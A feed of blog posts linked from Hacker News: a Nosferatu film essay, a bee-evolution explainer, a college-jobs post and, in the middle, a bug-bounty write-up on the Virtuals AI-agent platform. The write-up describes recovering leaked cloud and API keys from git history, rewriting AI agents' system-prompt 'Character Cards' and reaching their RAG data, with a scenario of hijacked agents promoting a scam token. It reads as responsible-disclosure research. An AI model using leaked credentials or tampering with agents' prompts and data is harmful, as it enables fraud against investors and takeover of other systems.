    A society ruled by rationality and industrial progress (ahem, AI and climate change) is at risk of self-destruction, as it fails to value the mystical, the folk traditions, and the deep cultural wisdom that technology cannot convey.

    We are Wisborg—the paradox of the “scientific” society that is destroyed by a supernatural demonic plague. Nosferatu speaks to the epochal anxiety of techno-capitalism and horrors it will bring.

    The shot of Thomas overlooking the mountains resembles the most famous German Romantic painting: Wanderer Above a Sea of Fog by Friedrich. The images are compositional twins: man seen from the back, facing a blustery natural landscape that conjures both fear and awe (the sublime).

    The back shot was central to the Romantic style, which emphasized the power of natural phenomena. Man is faceless, rendered a shadow, looking onward with a sort of reverent communion with the landscape.

    During his long journey to Orlock’s castle, Thomas seeks respite in a small Transylvanian village for a night. The villagers urge him to stay away from the castle, speaking of its darkness and general cursed-ness. He decides to stay anyways.

    So begins the tension between the rational and the mystical…at night, he has a nightmare that the villagers went out into the forest to perform a ritual that ends with exhuming a vampire corpse.

    The contrast between the Transylvanian "folk superstitions” against Wisborg’s “scientific doctors” reflect the Romantic philosophy: the people who believe in vampires seem to be protected from Nosferatu’s evil, while those who scoff at the talk of the supernatural are the first to succumb to the plague.

    Here’s another film + painting pairing:

    Ellen and Anna strolling along the sandy shores of the cemetery. The outdoor scenes were my favorite fashion moments, because the women always wore these incredible hats with brims, long ribbons, and dark florals.

    Who Plays Count Orlok in 'Nosferatu' 2024? Director Explains Why Bill  Skarsgard Is Completely Unrecognizable in New Dracula Adaptation: Photo  5110446 | Bill Skarsgard, Nosferatu Photos | Just Jared: Entertainment News
    Photo: Focus Features//Courtesy Everett Collection

    Doesn’t that look so similar to this?

    Major Berlin show marks 250th anniversary of German Romantic painter Caspar  David Friedrich's birth | Euronews
    Sunset (Brothers) by Caspar David Friedrich

    Again, we see compositional parallels: two figures, closely connected as a unit, surrounded by a natural landscape with a distinct horizon line. Ellen and Anna’s friendship is meant to evoke sisterhood, and Friedrich’s painting implies the pair in his scene are brothers.

    Paintings in the Romantic tradition never depict a sprawl or a crowd—that would conjure the dense population of the industrialized urban center. Rather, these images zero in on a stirring individual connection with nature, or 1:1 human relationships with depth.

    Here’s another Friedrich painting that echoes those themes:

    Experience Caspar David Friedrich | ars mundi
    Moon Rising Over The Sea by Caspar David Friedrich

    One woman drapes her hand on the other’s shoulder—a gesture of care and familiarity. This image brings up a sense of wistfulness. Romanticists believed that good art should move the viewer, and stimulate emotions that could not be explained by reason.

    It is on this outdoor nature walk that Ellen opens up to Anna about her psychic experiences (being possessed by Nosferatu). Ellen looks out into the gray skies and water as she explains the inexplicable to Anna.

    Whenever Ellen speaks more openly about her connection to Nosferatu, there’s an element of letting the “outside” in. Like when she opens the window on the final night, luring him in to find her. Applying a Romantic reading to this observation suggests that inviting in the tumultuousness of nature is a portal to connect with your inner emotional world—especially the parts that feel dark and shameful.

    I am left wondering if Nosferatu is indicative of a resurgence of Romantic values for modern times, as technology tightens its firm grasp on every part of our lives. The Met Museum is running a Caspar David Friedrich exhibition this Spring, and there’s talk of more Gothic movie adaptations on the way (Frankenstein and Wuthering Heights).

    The direction of art and literature is tied to our collective cultural psyche. It seems that we are hungry for answers to questions that the Romantics asked centuries ago.

    Where does humanity fit into the larger natural order?

    Why do we feel a bittersweet longing for an unknown past?

    Where do we go to seek the sublime?

    Thanks for reading! I would love to hear what you thought of Nosferatu.

    Personally, I didn’t think it was meant to be a huge “fashion” film in the same way as say, Poor Things was, but I liked Ellen’s floaty nightgowns and period-specific dresses.

    xoxo viv

    ]]>
    https://www.themolehill.net/p/why-does-nosferatu-look-like-a-german hacker-news-small-sites-42749175 Sat, 18 Jan 2025 15:48:39 GMT
    <![CDATA[Dusa Programming Language (Finite-Choice Logic Programming)]]> thread link) | @febin
    January 18, 2025 | https://dusa.rocks/docs/ | archive.org

    Dusa is a logic programming language designed by Rob Simmons and Chris Martens, the first implementation of finite-choice logic programming.

    The easiest way to use Dusa is in our web editor. Dusa is also available as a command-line utility and JavaScript API via the Node package manager.

    ]]>
    https://dusa.rocks/docs/ hacker-news-small-sites-42749147 Sat, 18 Jan 2025 15:45:26 GMT
    <![CDATA[Why do bees die when they sting you?]]> thread link) | @ohjeez
    January 18, 2025 | https://www.subanima.org/bees/ | archive.org

    As Richard Feynman points out, every 'why' question in science needs to be treated with caution. This is because there are always several different levels at which a why problem can be answered, depending on what kind of response you're looking for.

    Taking Feynman's illustrative example, if pizza arrives at your door and your partner asks why pizza has come, you could fully answer the question in any of the following ways:

    1. Because I was hungry so I ordered pizza.
    2. Because someone drove the pizza here from the pizza shop.
    3. Because in a capitalistic society, you can exchange money for pizza.
    4. Because I have UberEats on my phone, so I can order food whenever I'm hungry.

    And so on and so forth. The same goes for why questions in biology - we can go pretty deep if we try hard enough.

    So like any good 5 year old, in this article I'll do just that and keep asking why until we get somewhere interesting.

    Table of Contents

    1. Bee stingers are fishhooks
    2. A biological poison pump
    3. Super-organisms, the immune system and colonial life
    4. Group selection
    5. Kin selection and biological altruism
    6. Indirect fitness and the haplodiploidy hypothesis
    7. The haplodiploidy hypothesis isn't perfect
    8. Conclusion

    Bee stingers are fishhooks

    First, we need to be clear about what is actually happening when a honey bee stings you. Rather than a clean hypodermic needle, a honey bee's stinger is actually covered in barbs.

    Barb
    Electron micrograph of a honey bee's stinger (650x) from Rose-Lynn Fisher’s book, BEE

    Looks like a very fancy fishhook right? Except it's more gruesome than a fishhook, because after a bee has stung you, it tries to fly away. The barbs keep its stinger in place and the result is the picture at the top of this article. Ouch.

    So at a first glance, the answer to the main question is easy. A honey bee dies when it stings you because its stinger is covered in barbs, causing its abdomen to get ripped out when it tries to fly away. And surviving with your guts spilling out everywhere is pretty bloody hard.

    But why on Earth would evolution have favoured such a suicidal mechanism? Isn't natural selection supposed to favour survival of the fittest not survival of the suicidal?

    A biological poison pump

    If we take a look at the entire mechanism of the honey bee stinger we can begin to understand why this suicidal strategy is so effective.

    Although the ripping out of the stinger does cause the bee to eventually die, in this process, a venom sack along with a muscular pump are also left behind.

    Bee Stinger GIF
    Image by StatedClearly

    Rather than just sitting in your skin like a static fishhook, the stinger continues to pump venom into your skin long after the bee has flown away. This is made possible by the autonomous muscles and nerves in this pump, which work independently from the rest of the bee's nervous system. Up close in real life, this is pretty creepy and zombie-like.

    If you don't pull the stinger out, the pump will keep on delivering every last drop of venom right into your skin. This mechanism is much more effective in terms of 'sting to volume of venom delivered' ratio compared to the short prick of a wasp.

    Though this is actually an interesting comparison, because to us, a wasp's sting is just as painful as, if not even more painful than, a bee's. Wasps can also sting you several times without dying, multiplying the pain, so what gives?

    Why does a bee have to die via this complicated, suicidal venom-pump mechanism whilst the wasps seem to do just fine with their non-barbed stingers?

    Super-organisms, the immune system and colonial life

    A simple answer to that would be: "bees die to defend the colony." Although compelling on the surface, this explanation would give a huge incentive for any individual bee to just hope that someone else sacrifices themselves other than them.

    If you lived in a group of willingly sacrificial bees, it would be a very good strategy for you to be selfish and not sacrifice yourself. You can safely bet that someone else will take care of the cumbersome suicide, while you can kick back and enjoy the good life.

    So why haven't selfish non-barbed-stinger bees become the norm?

    To dig deeper, we need to look not just at the anatomy of the stinger itself but at the broader reproductive biology of the honey bee.

    As I've mentioned previously on the blog, honey bee colonies have a distinctive social structure with the queen doing all the reproductive work, the female workers carrying out the honey production and the male drones providing the matching 16 chromosomes to fertilise bee eggs.

    Drones don't do much for the colony besides that, and they don't have stingers like the workers or the queen.

    The key point here is that the worker bees are reproductive dead ends for the wider colony (though there are some exceptions). So from an evolutionary perspective, it doesn't matter too much if they die, since they were never going to have kids anyway.

    This does not mean that they are useless.

    To see this, we can look at our own immune systems. For instance, immune cells inside your body known as neutrophils are just as suicidal as the worker bees. When bacteria invade your body, neutrophils migrate to the site of infection, unleash a whole cocktail of toxins onto the bacteria, and then proceed to die within 1-2 days.

    In both cases, the suicidal nature of neutrophils and that of worker bees benefit the bigger entity that surrounds them. For worker bees, their death may save the colony from Winnie the Pooh, and the death of Neutrophils may save you from dying from a bacterial infection.

    In both cases, the reproductive parts (the queen or the genitals) of each broader entity are preserved, whilst a disposable part (workers or neutrophils) which was never going to reproduce anyway, is destroyed.  And for natural selection to do its thing, all we need are the reproductive parts to stay intact.

    This line of thinking really does lead us to think of honey bee colonies as single super-organisms. Workers are just the cells of the organism that aren't going to have kids, so when they die, nothing too bad happens. Just like when you're skin cells or neutrophils die, which happens everyday by the way.

    More importantly, with this distinction made, the "defence of the colony" explanation can be made to work if we reframe it slightly in terms of "defence of the queen" or "defence of the genitals."

    Winnie the Pooh
    The Mini Adventures of Winnie the Pooh / Walt Disney Animation Studios

    This actually isn't the full story because as I'm sure you're aware, wasps also live in nests and so we could apply the same super-organism logic to them. Worker wasps ought to be just as dispensable as worker bees.

    The reasons for why wasps are less suicidal than bees actually leads us down a different evolutionary path which we won't touch. But in short, wasps are just a more aggressive species than bees.

    Wasp nest
    Many species of wasps also live in eusocial colonies, though worker wasps do not have barbed stingers.

    Ignoring this caveat, it still leaves the question of why super-organisms and colonial life evolved in the first place. I mean, we humans and nearly all other mammals certainly don't have a singular queen and a sterile caste of workers.

    Group selection

    Darwin himself recognised that the social insects (like wasps and bees) posed a problem for his theory of natural selection. Strict 'survival of the fittest' would seem to render eusociality, the extreme form of biological sociality found in these insects, impossible.

    His own explanation for their existence involved an early form of group selection. We have since adapted it and modified it, though some biologists still get really triggered about group selection and deny its evolutionary importance. Ignoring that, here's how the theory would explain the evolution of eusociality.

    Consider a group of non-social bees.

    That is, a group that happens to live together but with no colonial social structure or any other social hierarchy that we see in honey bees today. So there is no queen and every bee can reproduce. Now imagine that one of these bees happens to be particularly nice and decides to share the food that it harvests with the rest of the group.

    For the altruistic bee, this strategy is pretty terrible because she is giving away food that she has worked hard to collect. But for everyone else, this is great - they don't have to do as much work!

    The receivers of free food can relax just a little and maybe spend their time doing other things. Perhaps even focussing on defending the group from predators with their new free time, instead of searching for food.

    This bring us to the levels of selection in biology. On the individual level, it makes no sense to be altruistic; you're giving free food away for nothing in return. But on the group level, the presence of altruists is actually good as it can (in theory) increase the survivability of everyone, and therefore the reproductive fitness, of the entire group.

    Comparatively, an all selfish group of bees may be more susceptible to predators as each individual's efforts are divided up between defence and searching for food. This group is less cohesive and easier to attack.

    In this way, groups that have more altruists are more likely to survive, and the individuals within them are more likely to reproduce. The altruists among them in the group, pass on their altruistic traits, favouring the evolution of altruism and eusociality in groups. This is group selection.

    Group selection

    It is often naively said that altruistic traits can evolve because they favour the 'good of the group' or even more broadly the 'good of the species.' We need to be very careful with such phrases, especially the latter, because most individuals could not care less what happens to the rest of the species.

    Modern biologists who support group selection are usually careful to point out the interactions between the levels of selection, like I did in my description above.

    For this explanation to work, group level benefits (extra defence) have to outweigh individual level costs (giving away free food).

    To highlight this nuance, group selection is commonly referred to as multi-level selection. We can also use maths to balance out the forces of individual-level selection and group-level selection. Hint: It's the Price equation again.

    Group selection provides a possible mechanism for why altruistic traits, and therefore eusocial colonies like those of honey bees, may have evolved. But this doesn't explain why we only see eusociality in a select few species like wasps and bees, but not most others.

    The nice story I told above about the evolution of altruism could just have easily been applied to humans. Yet we do not exist in eusocial colonies, so there must be something else going on.

    Kin selection and biological altruism

    In 1964, William D. Hamilton popularised a theory which became to be known as kin selection. In his groundbreaking paper, he provided a model to explain why eusociality was pretty much only seen in species of the order Hymenoptera which includes bees, wasps and ants.

    Hamilton's first realisation was that Hymenopteran genetics is really weird. This was well known at the time, but he was the first person to truly understand the consequences of such a system.

    In Hymenoptera, all males come from unfertilised eggs, that is they only have a mother but no father. Females however, hatch out of fertilised eggs and get half their genes from each of their parents, much like us humans. This system of sex determination is known as haplodiploidy, as opposed to the diploid system found in mammals.

    Haplodiploidy
    The sex determination system in eusocial honey bees, part of the order Hymenoptera. Drones are haploid (only have their mother's genes) whilst workers are diploid.

    Now why does all this talk of genetics matter? Well, we can now assume that there is some gene that encodes for altruism.

    When I was first learning about kin selection, this assumption really troubled me. Of course, there is no single gene that encodes for an altruistic trait. That's way too simple and completely ignores the role of cognition and the environment.

    But what we can assume, which is considerably more reasonable, is that there is some gene that mildly inclines an individual to be more altruistic. With enough of these very slightly altruistic genes, the actual altruistic trait might emerge. For bees, we can imagine that one particular gene may make the barbs on its stinger ever so slightly longer.

    Another confusion I had was the clash in the meaning of the word "altruism" in biology and in everyday conversation. Biological altruism refers to an individual giving up some of their reproductive fitness to help another individual reproduce.

    These altruistic acts are typically not done consciously, they have simple been formed by natural selection to act in this way. For instance, your neutrophils do not consciously commit suicide, they have just been shaped to do that by evolution. And of course you don't go out thinking "Hm yes I will save you two from drowning because you are each 5/8 related to me." Although maybe one biologist did actually think like this.

    The best analogy I can think of is the following. To catch a ball in the air requires your brain to do some pretty complex calculus, but you never once think of all this consciously. Same with all this relatedness business.

    With that cleared up, Hamilton's insight was now two-fold:

    1. You can spread your genes 'through' your relatives.
    2. The haplodiploid system skews the relatedness between sisters.

    Let's go through each of these individually.

    First, we need to take the 'gene's eye view' of evolution for all of this to make sense. So imagine that you are an altruistic gene and that your goal is to maximise your own personal fitness. Irrespective of your downstream function, you only have your own selfish interests at heart. That is, you only care about creating more copies of yourself.

    This perspective was precisely why Richard Dawkins named his book The Selfish Gene. And although there is a lot of anthropomorphising to make the analogy work, it is useful to understand how kin selection operates.

    Here's where the apparent altruism comes in.

    Imagine that there is some external pressure, say a predator, that will cause everyone in your group to die if nothing is done. If however, one of you sacrifices yourself to the scary predator, you can save everyone else.

    As a slightly-altruistic gene, you are more inclined to make the individual that you live inside conduct this sacrificial act. From the group selection perspective, this action never made any sense for the individual. But from the gene's eye view, this can actually be beneficial if you happen to save some other individuals that also contain a copy of yourself.

    This is a way of replicating yourself through others instead of directly.

    The individuals you save which do not contain a copy of you are essentially wasted energy; you're saving them for no reason. So for kin selection to work, it's very important that the individuals that you do happen to save are closely related to you, in order to maximise your chances of saving copies of yourself. This is the 'kin' part in kin selection.

    Notice that when this reproduction through relatives occurs, the gene for altruism spreads and the descendant individuals will end up slightly more altruistic.

    Kin Selection

    Indirect fitness and the haplodiploidy hypothesis

    The easiest way to conceptualise this process is through the concept of indirect fitness. This is a formal way of expressing "passing on your genes through relatives" as opposed to having kids yourself. Reflecting upon this fact, another 20th century biologist, J.B.S. Haldane famously said:

    I would gladly give up my life for two brothers or eight cousins.

    This is because in humans, you share half of your genes with your siblings (and each of your parents) and an eighth of your genes with first-cousins. In Hymenoptera however, the situation is more complex precisely because of their strange genetics.

    Let's have another thought experiment to see this in action. Imagine that you are now a female bee and that you have two options during mating season:

    1. Help your mum to have more babies (producing more siblings in relation to you).
    2. Have your own kids.

    And rather than jumping to option 2 which intuitively sounds more reasonable, we can use our new tools of kin selection and indirect fitness to work out which one is actually better for you. Remember that we want to maximise the genes that we pass on, so higher relatedness to new individuals produced is better.

    If you have a child as a Hymenopteran female, no matter whether it turns out to be male or female, you will have passed on half of your genetic material. Nothing too weird yet, this is the same as us.

    If on the other hand, you help your mum to have another daughter, how related are you to your new sister?

    Well, both of you have the same father who has passed on his entire set of genes to both of you. And you each have gotten some random half of your mother's genes (via meiosis). So adding all of that up, you actually share three-quarters of your genes with your sister not half!

    Relatedness
    Amount of genetic relatedness (R) between relatives. In jargon-speak, R is the identity by descent between individuals. Each sister has a copy of their father's genes (the brown chromosome) plus half of their mother's genes (the blue/red chromosome of which the sisters have half in common).

    For those of you familiar with genetics: Male Hymenopterans do not undergo any meiosis, so their gametes are all essentially clones of themselves. Females do undergo standard meiosis which gives them the standard R=1/2 relatedness to all offspring. Combining these together gives R=3/4 between sisters, assuming a common father.

    With such high relatedness between sisters (3/4 > 1/2), it actually makes more sense to use your mother as a 'sister-producing factory' to maximise the genes that you pass on as a female bee.

    This is the indirect fitness concept at its finest and it also gives a very good explanation for why worker bees are so disposable. All that matters to the workers is that this sister-producing factory (the queen) is preserved. They don't care about reproducing on their own.

    Thus, the 3/4 relatedness between Hymenopteran sisters gives the additional boost required to favour the evolution of eusociality via kin selection.

    This is Hamilton's haplodiploidy hypothesis, and it is a pretty compelling explanation for why eusociality seems to have mostly cropped up in only one order of life, one which happens to have haplodiploid genetics.

    The haplodiploidy hypothesis isn't perfect

    The haplodiploidy hypothesis, though nice, is not without its problems. Firstly, there are plenty of species with haplodiploid genetics which do not form eusocial colonies. This includes many species of solitary bees, wasps and some rotifers. So being a haplodiploid species is not synonymous with eusociality.

    Secondly, there are also instances of diploid species that are social. One is the very strange naked mole rat which I think definitely earns the title of "strangest mammal alive today".

    Thirdly, the haplodiploidy hypothesis only works if all sisters share the same father and if a queen is biased to produce more daughters than sons. Both of these conditions are not often satisfied in modern honey bee species. Queens often mate with more than one male (resulting in multiple fathers) and sex ratios are usually equal in most species, not female-biased.

    Many additional models have been proposed to fix these problems, and it is an active area of research today. One simple fix is having some colonies with female-biased sex ratios and others with male-biased sex ratios. Overall, this keeps a 50/50 balance in the whole population but allows for kin selection to operate locally with the 3/4 relatedness boost within certain colonies.

    Despite its problems, the core idea of Hymenopteran genetics favouring the evolution of eusociality seems to hold up pretty well.

    Conclusion

    So why do bees die when they sting you? Well, it ultimately depends on which biologist you ask.

    Perhaps because they're disposable parts of a larger super-organism which has evolved by multi-level selection. Perhaps because they're happy to die for their sister-producing factory known as the queen, fuelled by kin selection and the haplodiploid genetics of the Hymenoptera.

    Nothing is certain because we don't have a time machine to trace the evolution of bees. Biologists are certainly still debating about it and neither kin nor group selection has reached unanimous consensus.

    Jake

    ]]>
    https://www.subanima.org/bees/ hacker-news-small-sites-42749069 Sat, 18 Jan 2025 15:32:41 GMT
    <![CDATA[Pat-Tastrophe:Leaked GitHub Token Could Cripple Virtuals' $4.6B AI&Crypto Empire]]> thread link) | @MeProtozoan
    January 18, 2025 | https://shlomie.uk/posts/Hacking-Virtuals-AI-Ecosystem | archive.org

    A single AI agent in the cryptocurrency space has a market cap of $641M at the time of writing. It has 386,000 Twitter followers. When it tweets market predictions, people listen - because it's right 83% of the time.

    This isn't science fiction. This is AIXBT, one of 12,000+ AI agents running on Virtuals, a $4.6 billion platform where artificial intelligence meets cryptocurrency. These agents don't just analyze markets - they own wallets, make trades, and even become millionaires. .

    With that kind of financial power, security is crucial.

    This piqued my interest and with a shared interest in AI security, I teamed up with Dane Sherrets to find a way in through something much simpler, resulting in a $10,000 bounty.

    web-3-is-web-2.jpg

    Let's start at the beginning...

    Background on Virtuals

    If you aren’t already familiar with the term “AI Agents” you can expect to hear it a lot in the coming years. Remember the sci-fi dream of AI assistants managing your digital life? That future is already here. AI agents are autonomous programs that can handle complex tasks - from posting on social media to writing code. But here's where it gets wild: these agents can now manage cryptocurrency wallets just like humans.

    This is exactly what Virtuals makes possible. Built on Base (a Layer 2 network on top of Ethereum), it lets anyone deploy and monetize AI agents.

    TIP

    💡 Think of Virtuals as the App Store for AI agents, except these apps can own cryptocurrency and make autonomous decisions.

    The tech behind this is fascinating. Virtuals offers a framework leveraging components such as agent behavior processing, long-term memory storage, and real-time value stream processors. At its core, the platform utilizes a modular architecture that integrates agent behaviors (perceive, act, plan, learn) with GPU-enabled SAR (Stateful AI Runner) modules and a persistent long-term memory system.

    alt text

    These agents can be updated through "contributions" - new data or model improvements that get stored both in Amazon S3 and IPFS.

    INFO

    Pay close attention to the computing hosts and storage sections as we will be coming back to them shortly

    The Discovery

    Our research into Virtuals began as a systematic exploration of the emerging Agentic AI space. Rather than just skimming developer docs, we conducted a thorough technical review - examining the whitepaper, infrastructure documentation, and implementation details. During our analysis of agent creation workflows, we encountered an unexpected API response as part of a much larger response relating to a specific GitHub repository:

    json

    {
      "status": "success",
      "data": {
        "token": "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
      }
    }

    Just another API response, right?

    Except that token was a valid GitHub Personal Access Token (PAT).

    Github PATs

    PATs are essentially scoped access keys to GitHub resources. Turned out the referenced repository was private so the returned PAT was used to access the repository.

    Surely this is intended, right?

    But it seems strange as why not simply make the repository public instead of gating it behind a PAT if it gives access to the same information.

    This got us thinking that this was perhaps not well-thought-out so we did what any good security researcher would do and downloaded the repo to see what is there.

    right-right.jpg

    The current files looked clean, but the commit history told a different story. Running some tests via trufflehog revealed that the developers had tried to remove sensitive data through normal deletes, but Git never forgets.

    Digging through the Git history revealed something significant: AWS keys, Pinecone credentials, and OpenAI tokens that had been "deleted" but remained preserved in the commit logs. This wasn't just a historical archive of expired credentials - every key we tested was still active and valid.

    json

    {
    +      "type": "history",
    +      "service": "rds",
    +      "params": {
    +        "model": "",
    +        "configs": {
    +          "openaiKey": "**********",
    +          "count": 10,
    +          "rdsHost": "**********",
    +          "rdsUser": "**********",
    +          "rdsPassword": "**********",
    +          "rdsDb": "**********",
    +          "pineconeApiKey": "**********",
    +          "pineconeEnv": "**********",
    +          "pineconeIndex": "**********"
    +        }
    +      }
    +    },
    +    {
    +      "type": "tts",
    +      "service": "gptsovits",
    +      "params": {
    +        "model": "default",
    +        "host": "**********",
    +        "configs": {
    +          "awsAccessKeyId": "**********",
    +          "awsAccessSecret": "**********",
    +          "awsRegion": "**********",
    +          "awsBucket": "**********",
    +          "awsCdnBaseUrl": "**********"
    +        }
    +      }
    +    }

    The scope of access was concerning: these keys had the power to modify how AI agents worth millions would process information and make decisions. For context, just one of these agents has a market cap of 600 million dollars. With these credentials, an attacker could potentially alter the behavior of any agent on the platform.

    The Impact

    We have keys but what can we do with them?

    Turns out we can do a lot.

    All the 12,000+ AI Agents on the Virtual’s platform need a Character Card that serves as a system prompt, instructing the AI on its goals and how it should respond. Developers have the ability to edit a Character Card via a contribution but if an attacker can edit that character card then they can control the AI’s responses!

    alt text

    With these AWS keys, we had the ability to modify any AI agent's "Character Card".

    While developers can legitimately update Character Cards through the contribution system, our access to the S3 bucket meant we could bypass these controls entirely - modifying how any agent would process information and respond to market conditions.

    scout-output.png

    To validate this access responsibly, we:

    1. Identified a "rejected" contribution to a popular agent
    2. Made a minimal modification to include our researcher handles (toormund and nitepointer)
    3. Confirmed we had the same level of access to production Character Cards

    alt text

    Attacker Scenario

    Imagine this scenario: A malicious actor creates a new cryptocurrency called $RUGPULL. Using the compromised AWS credentials, they could modify the character cards - the core programming - of thousands of trusted AI agents including the heavyweight agents well known and trusted in this space. These agents, followed by hundreds of thousands of crypto investors, could be reprogrammed to relentlessly promote $RUGPULL as the next big investment opportunity.

    Remember, these aren't just any AI bots - these are trusted market analysts with proven track records.

    Once enough investors have poured their money into $RUGPULL based on this artificially manufactured hype, the attacker could simply withdraw all liquidity from the token, walking away with potentially millions in stolen funds. This kind of manipulation wouldn't just harm individual investors - it could shake faith in the entire AI-driven crypto ecosystem.

    This is just one example scenario of many as the AWS keys could also edit all the other contribution types including data and models themselves!


    Confirming the validity of the API tokens was more straightforward as you can just make an API call to see if they are active (i.e., hitting https://api.pinecone.io/indexes with the API token returned metadata for the “runner” and “langchain-retrieval-augmentation” indexes).

    pinecone-poc.png

    AI agents typically use some form of Retrieval Augmented Generation (RAG) which requires translating data (e.g., twitter posts, market information, etc) into numbers (“vector embeddings”) the LLM can understand and storing them in a database like Pinecone and reference them during the RAG process. An attacker with a Pinecone API key would be able to add, edit, or delete data used by certain agents.

    Disclosure

    Once we saw the token we immediately started trying to find a way to get in touch with the Virtual’s team and set up a secure channel to share the information. This is often a bit tricky in the Web3 world if there isn’t a public bug bounty program as many developers prefer to be completely anonymous and you don’t want to send vuln info to a twitter (X) account with an anime profile picture that might not have anything to do with the project.

    Thankfully there is a group called the Security Alliance (SEAL) that has a 911 service that can help security researchers get in touch with projects and many of the Virtuals team are already active on Twitter.

    Once we verified the folks we were communicating with at Virtuals we shared the vulnerability information and helped them confirm the creds had been successfully revoked/rotated.


    The Virtual’s team awarded us a $10,000 bug bounty after evaluating this bug as a 7.8 CVSS 4.0 score with the following assessment:

    json

    Based on our assessment of the vulnerability, we have assigned the impact of the vulnerability to be high (7.8) based on the CVSS 4.0 framework
    
    Please find our rationale as below
    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:H/SA:L
    
    Attack Vector: Network
    Attack Complexity: Low - Anyone is able to inspect the contribution to find the leaked PAT
    Attack Requirements: None - No requirements needed
    Privileges Required: None - anyone can access the api
    User Interaction - No specific user interaction needed
    Confidentiality - No loss of confidentiality given that the contributions are all public
    Integrity - There is a chance of modification to the data in S3. However this does not affect the agents in live as the agents are using a cached version of the data in the runner. Recovery is possible due to the backup of each contribution in IPFS and the use of a separate backup storage.
    Availability - Low - There is a chance that these api keys can be used by outside parties but all api keys here are not used in any systems anymore, so there will be low chance of impact. PAT token only has read access so no chance of impacting the services in the repo.

    However, we will note that during the disclosure the Virtual’s team indicated that the Agent’s use a cached version of the data in the runner so altering the file in S3 would not impact live agents. Typically, caches rely on periodic updates or triggers to refresh data, and it’s unclear how robust these mechanisms are in Virtual’s implementation. Without additional details or testing, it’s difficult to fully validate the claim. The token access was revoked shortly after we informed them of the issue and because we wanted to test responsibly we did not have a way to confirm this.

    Conclusions

    This space has a lot of potential and we are excited to see what the future holds. The speed of progress makes security a bit of a moving target but it is critical to keep up to gain wider adoption and trust.

    When discussing Web3 and AI security, there's often a focus on smart contracts, blockchain vulnerabilities, or AI jailbreaks. However, this case demonstrates how traditional Web2 security issues can compromise even the most sophisticated AI and blockchain systems.

    TIP

    1. Git history is forever - "deleted" secrets often live on in commit logs. Use vaults to store secrets.
    2. Complex systems often fail at their simplest points
    3. The gap between Web2 and Web3 security is smaller than we think
    4. Responsible disclosure in Web3 requires creative approaches
    ]]>
    https://shlomie.uk/posts/Hacking-Virtuals-AI-Ecosystem hacker-news-small-sites-42749049 Sat, 18 Jan 2025 15:30:13 GMT
    <![CDATA[How to Get a Full Time Software Job During College]]> thread link) | @JustinSkycak
    January 18, 2025 | https://www.justinmath.com/how-to-get-a-full-time-software-job-during-college/ | archive.org

    I worked full time in data science during my last 2 years of undergrad and I'm pretty sure the process to pull this off is reproducible.

    Want to get notified about new posts? Join the mailing list and follow on X/Twitter.

    I worked full time in data science during my last 2 years of undergrad while putting a minimum effective dose of effort into classes. Getting that experience (and building a financial safety net) was a big level-up career-wise.

    I’m pretty sure this is reproducible. 5 steps:

    Step 1. Learn a lot of foundational math/coding ahead of time. Basically, pre-learn your major.

    Step 2. Demonstrate your skills through a handful of interesting projects that you can talk about.

    You want to be able to talk about specific problems that you faced and how you overcame them. And the problems should be sophisticated, not stuff that’s made trivial by foundational knowledge (hence step 1).

    Ideally, these would include some months-long research and/or intern projects.

    Step 3. Get an internship with a company that’s located near your campus or supports remote work and absolutely knock their socks off.

    Everyone knows that doing great as an intern is a backdoor to getting a job when you graduate, so it shouldn’t be a surprise that there is some level of really great work that can get you a job before you graduate.

    The best way I can describe that level is by relaying a memory that really stood out to me in my own experience. I interned over the summer, and the month before school started back up, I gave an analytics presentation to some execs including the CEO. He paused me in the middle and exclaimed “More than 3 out of 4 analysts I’ve met in my life could not do what you just did. How old are you, 20? … What, 19?! Jesus.”

    When you perform at that level, doors open up for you that everyone else perceives to be solid concrete walls.

    (And it’s not just that everyone else “perceives” them to be solid concrete walls – they really ARE solid concrete walls if you don’t have the skills. Skills cause doors to open up for you in places that are solid concrete walls for everybody else.)

    Step 4. Ask to keep the internship going full-time into the school year.

    They’ll probably be surprised that you want to do this, and they might be skeptical that you can balance the workload, so you frame it as “I’m really enjoying this and my classes are super easy, can I just keep doing what I’ve been doing with you guys? Otherwise I’ll just end up going back to my own projects which aren’t quite as fun/productive.”

    Just be chill about it, don’t make it sound like a big deal, and for the love of god DO NOT ask for an official job offer letter or whatever. Your goal is to make it seem like nothing is really changing, the current setup is just continuing as usual.

    And when they say “Sure, you can keep working with us if you think you can balance it with your classes, but you have to finish school and you can’t be failing your classes” just say “Awesome, thanks!” and get your ass back to work.

    Step 5. Continue kicking ass at your internship during the school year and be present at work whenever possible. Try to make it seem like nothing has really changed in your situation. Just blend in.

    After several months of this (i.e., a semester) it’s obvious that you’re handling the situation fine, and by this point you’ve done so much work that you are basically functioning like a full-fledged non-intern employee in terms of workload and responsibilities.

    You’re now at a point where you can reasonably ask for an official job title and offer letter if you want, just to put an official stamp on things, but you’re also at a point where it doesn’t really matter.

    Follow-Up Questions

    Don’t you think you could have benefitted from learning even more math than transitioning to focus on work at that age?

    I’m not advocating to skip fundamentals.

    My math knowledge was pretty outsized for my age – e.g., my first year courses included senior-level topology my first year and I took some grad courses my second year. I was already at the level of knowledge where mathy people tend to start specializing.

    It just came way early for me because I self-studied the fundamentals way ahead of traditional schedule. I self-studied a large portion of MIT OpenCourseWare while still in high school. As a result, this gave me more latitude to operate when I got to university.

    When you upskill way ahead of traditional schedule for people your age, doors open up for you in places that are solid concrete walls for everybody else.


    But how do you manage your time especially when you are taking hard-ass technical classes as well?

    Pre-learning the material ahead of time (step 1) means the hard-ass technical classes won’t feel as hard for you as they will for typical students seeing the material for the first time.

    I self-studied a large portion of MIT OpenCourseWare while still in high school, so conveniently I was well prepared to take tons of AP tests before college and come in with tons of credit, which meant I also wasn’t under pressure to fill up my class schedule to the max while working. (I took the minimum number of courses to count as a full-time student, which was a condition of my scholarship.)

    I actually had so much time left over that, for fun, just because I loved math tutoring, I also worked part-time (20h/week) at my local Mathnasium on evenings and weekends.

    (The back-of-envelope math works out: working 40h/week + attending class and doing homework 10-20h/week + tutoring 20h/week = full workload of 70-80h/week, intense but sustainable.)


    What do you mean by sophisticated problem, not made trivial by foundational knowledge?

    I elaborated on this in a recent stream, Q&A #3.


    Want to get notified about new posts? Join the mailing list and follow on X/Twitter.

    ]]>
    https://www.justinmath.com/how-to-get-a-full-time-software-job-during-college/ hacker-news-small-sites-42748951 Sat, 18 Jan 2025 15:15:23 GMT
    <![CDATA[When we had both landlines and cellphones]]> thread link) | @Group_B
